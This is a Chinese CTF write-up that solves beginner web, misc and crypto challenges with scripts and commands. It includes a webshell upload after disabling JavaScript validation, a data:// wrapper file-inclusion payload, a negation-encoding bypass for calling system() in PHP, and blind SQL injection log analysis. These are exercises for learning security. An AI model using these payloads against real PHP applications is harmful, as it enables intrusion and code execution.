文章目录
- Web
- 前端验证
- PHP_Try
- Misc
- HelloWorld
- 密码在这
- easy_log
- Crypto
- baser
线下“断网”CTF个人赛,题都很简单(新手级难度),总共10道题目,解了6题。
赛题附件请自取:
链接:https://pan.baidu.com/s/1lgNEBO7a1L4KLE2t_pXoow
提取码:moch
Web
前端验证
就简单的绕过前端验证,Disable JavaScript
插件直接一开,直接传PHP WebShell即可
PHP_Try
都是非常常见的考点
<?php
error_reporting(0);
$username=$_GET['username'];
$file=$_GET['file'];
$a=$_GET['a'];
if(is_numeric($username)&&isset($username)){
highlight_file(__FILE__);
}
else{
echo "<h2>传一个 username 试试 ?</h2>";
die("<h3>username 用户讨厌字母</h3>");
}
if(substr(md5($username),0,5)==="3a824"){
echo("惊呆了,小伙子<br>");
if(isset($a)&&file_get_contents($a,'r')==="this is so easy")
{
echo "hello<br>";
if(!preg_match('/fff.php/',$file)&&preg_match('/filter|data|input|base|[0-9]/i',$file)){
echo "小伙子,你想嘎啥?";
exit(0);
}
include($file);
}
else
{
die("??这就要结束了<br>");
}
}
else{
die("咋回事???<br>");
}
?>
首先爆破username
的正确数值,简单写个Python跑即可
import hashlib
for num in range(10000):
numMd5 = hashlib.md5(str(num).encode()).hexdigest()
if numMd5[0:5] == "3a824":
print(numMd5, num)
isset($a)&&file_get_contents($a,'r')==="this is so easy"
直接用伪协议传,然后包含fff.php
即可
/index.php?username=2022&a=data://text/plain,this is so easy&file=fff.php
访问/fl4a4asdjkg.php
,发现是代码执行绕过
直接用我的这篇文章里的URL编码取反绕过:浅谈PHP代码执行中出现过滤限制的绕过执行方法
PS C:\Users\Administrator\Downloads> php -r "var_dump(urlencode(~'system'));"
Command line code:1:
string(18) "%8C%86%8C%8B%9A%92"
PS C:\Users\Administrator\Downloads> php -r "var_dump(urlencode(~'whoami'));"
Command line code:1:
string(18) "%88%97%90%9E%92%96"
Misc
HelloWorld
直接搜索关键字DASCTF{
,选择替换即可显示出来
DASCTF{63fe66f7bb230272df7c34e8c3b7266d}
密码在这
按照长度排序,发现最长的一个包有RAR
试用tshark
过滤提取出来
D:\Wireshark\tshark.exe -r .\pcap.pcap -T fields -Y data.data -e data.data
Python简单转换一下
hexString = "526172211a0701003392b5e50a01050600050101808000833fe6aa5502033cb000049c0020d4bc9c5b80030008666c61672e747874300100030f7664e898bc843a2deea13f7084beb0ef58ebe9779b9c1b4a678da13b6e641cf4869d9f0d797fcab50d7368a10a0302d30a2116f4bcd80157108ce51fbd5c9498348f5effcf4cee88444551f18f82c56db23536e613490e3e20d60911b1f03b06593de5337537bd1d77565103050400ffa567b22002030b0005003000000000800000067365637265740a0302e0c0f918f4bcd801d12727d32103230bb7800004aa800000e58ac34b8003000353544d0a073a70617373776f7264c5ab34240032fa24ba0f9741b3160e14341160b44cc1133550dffe0f9ee8f7eba584c76f6600d2558fb21a3fe410426e7a5c998b2ee5a81d77565103050400444f4e4503e70e63"
with open('flag.rar', 'wb') as f:
f.write(bytes.fromhex(hexString))
注意,前面这些干扰数据需要去掉,得到Rar,题目提示说需要使用winrar
打开,盲猜就是存在NTFS流隐写
NTFS文件流隐写如果要压缩必须使用WinRar压缩
使用Winrar解压
NtfsStreansEdutior
发现隐藏的密码
导出,得到解压密码:SXMlMjB0aGlzJTIwdGhlJTIwcGFzc3dvcmQlM0Y=
解压flag.rar
得到flag
DASCTF{I have learned it!!!}
easy_log
很明显的二分法布尔盲注入流量,%3E
是大于,并且发现了一段base64
PS C:\Users\Administrator\Downloads> php -r "var_dump(base64_decode('cGFzc3dvcmQ6IHNAZncjdiVmOQ=='));"
Command line code:1:
string(19) "password: s@fw#v%f9"
这里的重点就是,稍微需要一点点理解二分法布尔盲注入,使用大于的情况下判断的结果是怎么得出的
布尔盲注是根据返回的包不同,观察是否查询语法正确的,这里虽然看不到返回包的内容,但是可以看到返回包的长度,就是状态码200
之后的就是返回包长度。
以flag
字段的第一位内容为例,如果ascii(substr((select group_concat(flag) from flag),1,1))>78
,那么接下来的就是继续比较>78
的数值了,但是这里第一位的内容后续的查询记录都是<78
的,所以就能得出当返回包长度为704
的时候就是查询错误
,反之当返回包长度为699
时则为查询正确
所以判断每一位的最后一条查询记录是否为True
即可,如果为True
,则需要数值+1
,反之则就是该值
with open('access.log', 'r') as f:
lines = f.readlines()
idx = 2
result = ''
for i in range(len(lines)):
if 'flag),{},1))'.format(idx) in lines[i]:
idx += 1
asciiCode = lines[i-1][lines[i-1].find('%3E')+3:lines[i-1].find(' HTTP/1.1')]
if ' 200 699 ' in lines[i-1]:
result += chr(int(asciiCode) + 1)
else:
result += chr(int(asciiCode))
print(result)
with open('flag.zip', 'wb') as f:
f.write(bytes.fromhex(result))
得到一个压缩包,密码前面也有,直接解压得到flag
DASCTF{fd67c1798e9cb29e8fc467e9dcefbd7f}
Crypto
baser
from uuid import *
from caser import something
from secret import flag
base_table="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
result =""
for i in range(len(flag)):
if flag[i] in base_table:
result +=base_table[(base_table.index(flag[i])+33)%64]
else:
result +=flag[i]
print(result)
#khzj0m{9caZ87VV-8X77-WW/+-78Wa-eZVdaYYe9/dZ}
很简单的逆向
base_table="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
result = "khzj0m{9caZ87VV-8X77-WW/+-78Wa-eZVdaYYe9/dZ}"
flag = ""
for i in range(len(result)):
if result[i] in base_table:
flag += base_table[(base_table.index(result[i])-33)%64]
else:
flag += result[i]
print(flag)
PS C:\Users\Administrator\Downloads> python .\code.py
DASCTF{c754ba00-b2aa-11ed-ab15-94085339ce84}